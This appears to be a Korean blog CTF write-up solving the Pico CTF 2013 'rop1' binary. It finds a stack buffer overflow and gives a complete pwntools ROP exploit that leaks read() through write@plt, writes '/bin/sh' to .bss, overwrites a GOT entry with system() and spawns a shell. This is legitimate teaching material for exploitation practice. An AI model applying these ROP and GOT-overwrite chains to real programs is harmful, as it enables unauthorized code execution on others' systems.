CTF Write-Up

Pico CTF 2013 ROP1 write-up

fkillrra 2018. 3. 8. 23:58

좀 더 쉬운 ROP 문제를 풀어보기 위해 Pico CTF 2013 rop1이라는 문제를 풀어보았다.



[바이너리]

rop1-fa6168f4d8eba0eb


먼저 메모리 보호 기법을 확인해보면



NX bit 가 걸려있고, Partial RELRO가 걸려있다.


NX bit로 인해서 Stack에 실행 권한이 없기 때문에 내가 아는 쉘코드를 이용하는 방법은 할 수 없다.

Partial RELRO는 got 섹션을 제외한 섹션에 읽기 권한을 걸어주는 기법이지만

got는 제외되기 때문에 GOT Overwirte를 할 수 있다.



정적분석을 위해 IDA로 열어본다.



먼저 main() 을 확인해보면 간단하게 두 함수를 호출하고, vulnerable_function() 이 눈에 띈다.


어떤 함수인지 확인하기 위해 보면



bof 취약점이 존재한다는것을 확인할 수 있다.


char buf는 할당된 공간이 136 byte 인데 read() 로 256 byte 받게 되어있기 때문에 bof가 발생한다.


그리고 함수 목록을 보다가



not_called 라는 함수가 존재하는것을 확인할 수 있었다.

ROP 문제라고 기대를 했지만 아닌듯 하다.



쉘을 띄우는 함수이다.


A를 SFP 까지 (140byte) 덮고,

not_called 함수의 주소를 ret 주소에 덮어주면 될듯하다.



gdb 로 열어 not_called의 주소를 알아내고,


익스하면



쉘을 띄울 수 있다.




위 공격방법보다는 ROP를 공부하고 있으니 ROP로 풀이해보았다.


read() 와 write()를 이용할것이므로

read() 와 write()는 gdb 와 IDA를 이용하여 plt, got 주소를 구해줬고,

bss와 pppr gadget은 objdump를 이용하여 각각 구해줬다.


또 ASLR을 우회하기 위해 system()를 read()와의 offset을 이용하여 구해줬다.


[payload]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
 
= process('./rop1-fa6168f4d8eba0eb')
 
# objdump -h [binary] | grep bss
bss = 0x0804a024
 
# objdump -d [binary] | grep -B4 'ret'
pppr = 0x804859d
 
# read() - system()
system_offset = 0x99a10
 
# gdb & IDA
write_plt = 0x80483d0
write_got = 0x804a014
read_plt = 0x8048380
read_got = 0x804a000
 
# input A into SFP
payload = "A" * 140
 
# read() address leak
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
# to send bss /bin/sh\00
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
 
# GOT Overwrite : write_got -> system() address
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)
 
# call system(bss) -> system(/bin/sh\00)
payload += p32(write_plt)
payload += "AAAA"
payload += p32(bss)
 
p.send(payload)
 
# receive read_addr big endian
read_addr = u32(p.recv()[-4:])
 
system_addr = read_addr - system_offset
 
p.send('/bin/sh\00')
 
# send system() address little endian
p.send(p32(system_addr))
 
p.interactive()

cs


[shell]



반응형